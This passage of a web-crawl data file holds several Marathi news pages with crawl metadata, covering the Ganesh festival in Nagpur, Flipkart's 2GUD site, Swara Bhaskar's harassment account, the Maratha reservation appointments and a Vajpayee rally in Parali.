गणेशाचे शहरातील वेगवेगळ्या वस्त्यांमध्ये आगमन झाले. पूजा, अर्चना, आरती, पारंपरिक वाद्यांचा गजर, फटाक्‍यांची आतषबाजी अशा भावपूर्ण आणि मंगलमय वातावरणात गणरायांचे स्वागत करण्यात आले. प्रामुख्याने महाल चितारओळीतून मोठ्या प्रमाणात मिरवणूक निघत असल्याने भाविकांच्या सुरक्षितेसाठी पोलिसांचा मोठा ताफा ठिकठिकाणी ठेवण्यात आला होता. वाहतुकीची कोंडी टाळण्यासाठी काही मार्ग वळवण्यात आले होते. रस्त्यांवर रांगोळ्या, फुलांची उधळण, शामियाना टाकून गणेशभक्तांनी गणरायाचे स्वागत केले. गणरायाच्या आगमनामुळे बाजारपेठाही सजल्या होत्या. पूजेचे साहित्य, आरास, दिव्यांच्या माळा, केळीची पाणे, झेंडूची फुले, आकर्षक विद्युत दिव्यांनी महाल, सक्करदरा, मानेवाडा, बर्डी, खामला, हुडकेश्‍वर, तुकडोजी चौक आदी बाजारपेठा सजल्या होत्या.\nAsia Cup : धोनी भारताचा पुन्हा 'कर्णधार'\nदुबई : आशिया करंडक स्पर्धेत अफगाणिस्तानविरुद्धच्या सामन्यात भारताचा माजी कर्णधार महेंद्रसिंह धोनीला पुन्हा कर्णधारपदाची जबाबदारी देण्यात आली आहे....\nओतूरला सहा ट्रॉली निर्माल्याचे संकलन\nओतूर - ता.जुन्नर येथे गणेशोत्सवा दरम्यान आयोजित निर्माल्य संकलन उपक्रमास नागरकांकडून मोठा प्रतिसाद मिळाला असुन गणपती विसर्जन काळात तब्बल सहा ट्रॉली...\nकोहलीचा 'विराट ट्रेलर' प्रदर्शित (व्हिडिओ)\nनवी दिल्ली : क्रिकेटच्या दुनियेतील बादशहा भारताचा कर्णधार विराट कोहली आता अभिनयाच्या क्षेत्रातही पदार्पण करण्याच्या तयारीत आहे की काय असा प्रश्न...\nहेरले येथे चोरट्यांनी दूचाकीसह दहा तोळे सोने व रोकड पळवली\nहेरले - हेरले ( ता. हातकणंगले) येथील बबन भाऊ कदम यांच्या घरात सोमवारी मध्यरात्री चोरी झाली. चोरट्यांनी दोन दूचाकीसह दहा तोळे सोने व रोकड पंधरा हजार...\nडॉ. नानासाहेब धर्माधिकारी प्रतिष्ठानतर्फे निर्माल्यापासून खतनिर्मिती\nकऱ्हाड : येथील डॉ. नानासाहेब धर्माधिकारी प्रतिष्ठानतर्फे निर्माल्यापासून खतनिर्मिती राबविण्यासाठी शहरासह पाचवड येथे तीन टन निर्माल्य जमा केले. येथील...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00258.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.saamana.com/flipkart-to-give-too-good-touch-for-old-stuff/", "date_download": "2018-09-25T17:27:00Z", "digest": "sha1:A7CYSIYDCDBHZVJ3IGO7E4P5SQMSYMHB", "length": 15574, "nlines": 257, "source_domain": "www.saamana.com", "title": "फ्लिपकार्ट जुन्या सामानाला देणार स्वस्ताईचा ‘टू गुड’ टच | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nफ्लिपकार्ट जुन्या सामानाला देणार स्वस्ताईचा ‘टू गुड’ टच\nदेशातील सर्वात मोठी ऑनलाईन रिटेल कंपनी फ्लिपकार्ट आता जुन्या सामानाला नवे रूप देऊन ते स्वस्तात विकणार आहे. त्यासाठी त्यांनी ‘टू गुड’ ही वेबसाईट तयार केली आहे. या वेबासाईटवर सुरुवातीला जुने इलेक्ट्रिक सामान विकले जाणार आहे. कंपनी त्यासोबत गुणवत्तेचे प्रमाणपत्रही देणार आहे. जुन्या वस्तूंमध्ये मोबाईल, लॅपटॉप, स्मार्ट वॉच आणि टॅबलेट असतील.\nतसेच स्पीकर्स, पॉवर बँक, हेअर ड्रायर, हेअर स्ट्रेटनर, टीव्ही सेट आणि या सारखे 400 हून जास्त वस्तू विकणार आहे. या वस्तू 80 टक्के स्वस्त मिळणार आहे. नवीन वेबसाईटला छोटय़ा शहरांकडून अधिक चांगला प्रतिसाद मिळेल, अशी कंपनीला आशा आहे.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलकबड्डीत हिंदुस्थानचे साम्राज्य खालसा\n डॉक्टरांनी महिलेच्या पोटातून काढला चार किलोचा ट्यूमर\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nअक्षर म्हणजे मोत्याचे दाणे\nतृतीयपंथीय विद्यार्थिनी झाली रुईयाची ‘रोझ क्वीन’\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00258.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/entertainment/swara-bhaskar-told-about-her-sexual-harre-273853.html", "date_download": "2018-09-25T16:49:56Z", "digest": "sha1:OI5C3V2XER5YB3Y5DXAJPUO6SXFYPCDA", "length": 12837, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "अभिनेत्री स्वरा भास्करलाही लैंगिक शोषणाचा फटका", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nअभिनेत्री स्वरा भास्करलाही लैंगिक शोषणाचा फटका\nबॉलिवूडमध्ये नवीन असताना सेक्श्युअल फेवर द्यायला नकार दिल्याने अनेक भूमिका हातच्या गमावल्या असल्याचं तिने सांगितलं.\n08 नोव्हेंबर : महिला अभिनेत्रींच्या लैंगिक शोषणाचा मुद्दा बॉलिवूडमध्ये गाजत असताना अभिनेत्री स्वरा भास्करनेही आपल्याला अशा प्रसंगांना सामोरं जावं लागलं असल्याचं सांगितलंय. बॉलिवूडमध्ये नवीन असताना सेक्श्युअल फेवर द्यायला नकार दिल्याने अनेक भूमिका हातच्या गमावल्या असल्याचं तिने सांगितलं.\nत्यासोबतच एका सिनेमाचं ५६ दिवस आऊटडोअरला शूटिंग करत असताना दिग्दर्शकाने रात्रंदिवस आपल्याला एसएमएस आणि फोन करून त्रास दिल्याचंही तिने सांगितलंय. मात्र असे प्रसंग आले तरीही आपल्या अटींवर काम करायला तयार असल्यानेच अशा प्रसंगांना बळी पडले नाही असं तिने स्पष्ट केलंय.\nलैंगिक शोषणाच्या मुद्द्यावर 'Me too'चं कँपियन सगळीकडे चाललं. हाॅलिवूडपासून हे कँपियन सुरू झालेलं. बाॅलिवूडमध्ये विद्या बालन सोडता कुठल्याही अभिनेत्रीनं यावर तोंड उघडलं नव्हतं.\nस्वरा सध्या 'वीरे दी वेडिंग'चं शूटिंग करतेय.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nसोनम कपूरचा फॅशन जलवा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00258.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://lokmat.news18.com/maharastra/mumbai-11-months-extension-of-jobs-filled-up-under-maratha-reservation-273844.html", "date_download": "2018-09-25T16:53:47Z", "digest": "sha1:TUBZ6C7M236ABNDT2ZKKTAYB4KZJPLV5", "length": 13294, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "मराठा आरक्षणांतर्गत भरलेल्या 'त्या' नियुक्त्यांना 11 महिन्यांची मुदतवाढ", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nमराठा आरक्षणांतर्गत भरलेल्या 'त्या' नियुक्त्यांना 11 महिन्यांची मुदतवाढ\nमुदत ३ नोव्हेंबरला संपल्यामुळे राज्य सरकारनं केलेला अर्ज मान्य करत मुंबई हायकोर्टाने या नियुक्त्यांना ११ महिन्यांची मुदतवाढ दिली आहे.\n08 नोव्हेंबर : मराठा समाज आरक्षणांतर्गत विविध सरकारी संस्थांमधील रिक्त पदांवर १६ टक्के जागा खुल्या प्रवर्गातून भरण्यात आल्या होत्या. या निर्णयाला हायकोर्टाने 11 महिन्यांची मुदतवाढ दिलीये.\nमराठा समाज आरक्षणांतर्गत विविध सरकारी संस्थांमधील रिक्त पदांवर १६ टक्के जागा या मुंबई हायकोर्टाच्या परवानगीने खुल्या प्रवर्गातून तात्पुरत्या स्वरुपात किंवा हंगामी तत्वावर भरण्यात आल्या होत्या. त्यांची मुदत ३ नोव्हेंबरला संपल्यामुळे राज्य सरकारनं केलेला अर्ज मान्य करत मुंबई हायकोर्टाने या नियुक्त्यांना ११ महिन्यांची मुदतवाढ दिली आहे.\nमुंबई हायकोर्टातील मराठा आरक्षणाची याचिका अजूनही प्रलंबित असल्याने या नियुक्त्यांना आणखी ११ महिन्यांची मुदतवाढ देण्यास परवानगी द्यावी, अशी विनंती सरकारने या अर्जात केली होती.\nयापूर्वी हायकोर्टाच्या परवानगीने आधी ११ महिन्यांसाठी सरकारने या नियुक्त्या केल्या होत्या आणि नंतर त्यांना सहा महिन्यांची मुदतवाढ घेतली होती.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: maratha reservationमराठा आरक्षणमराठा समाज\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00258.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://www.saamana.com/atal-bihari-vajpayee-speak-marathi-in-parali/", "date_download": "2018-09-25T17:20:41Z", "digest": "sha1:AXPGB6QZDYABUGDWOIK43II2Z5MKS6P2", "length": 16824, "nlines": 257, "source_domain": "www.saamana.com", "title": "जेव्हा परळीच्या सभेत अटलजी मराठीतून बोलले… | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nजेव्हा परळीच्या सभेत अटलजी मराठीतून बोलले…\nअटलजींच्या अनेक आठवणी परळीकरांच्या मनात घर करून आहेत. शहरात 1999 सालच्या निवडणुकीच्या प्रचारसभेसाठी अटल बिहारी वाजपेयी परळीत आले होते. त्यावेळी त्यांच्यासोबत भाजपचे अनेक नेते उपस्थित होते. अटलजी विविध भाषेत पारंगत होते हे सभेत जमलेला जनसमुदाय जाणून होता परळी येथे वैद्यनाथ महाविद्यालयाच्या समोरील प्रांगणात ऐकण्यासाठी मोठी गर्दी जमलेली होती काहींना जागा न भेटल्याने वैद्यनाथ कॉलेज मागे असलेल्या डोंगरावर लोक बसले होते.\nअटलजींचे भाषण सुरू झाले तेव्हा ते कोणत्या भाषेत बोलतात याकडे सर्वांचे लक्ष होते. माईकसमोर येताच अटलजी मराठीत म्हणाले ”त्या तिकडे डोंगरावर माझे भाषण ऐकण्या करता लोक बसलेले आहेत” हे वाक्य बोलताच प्रचंड टाळ्यांचा कडकडाट झाला. व्यासपीठाच्या उजव्या बाजूला वैजनाथ कॉलेज समोरील डोंगरावर काही लोक बसलेले होते त्यांना उद्देशून वाजपेयी मराठी बोलले, त्यांनी आपले संपूर्ण भाषण हिंदीतच केले मात्र भाषणाची सुरुवात मराठी वाक्याने केल्याने समोरील जनसमुदाय रोमांचित झाला होता हे वाक्य मराठीतून बोलण्याने आजही ती आठवण परळीकरांच्या मनात घर करून आहे.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलब्लॉग : ती एक अविस्मरणीय भेट\nपुढीलवाजपेयी यांचे बुलढाणा जिल्ह्याशी जिव्हाळ्याचे संबंध\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा दाखल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी 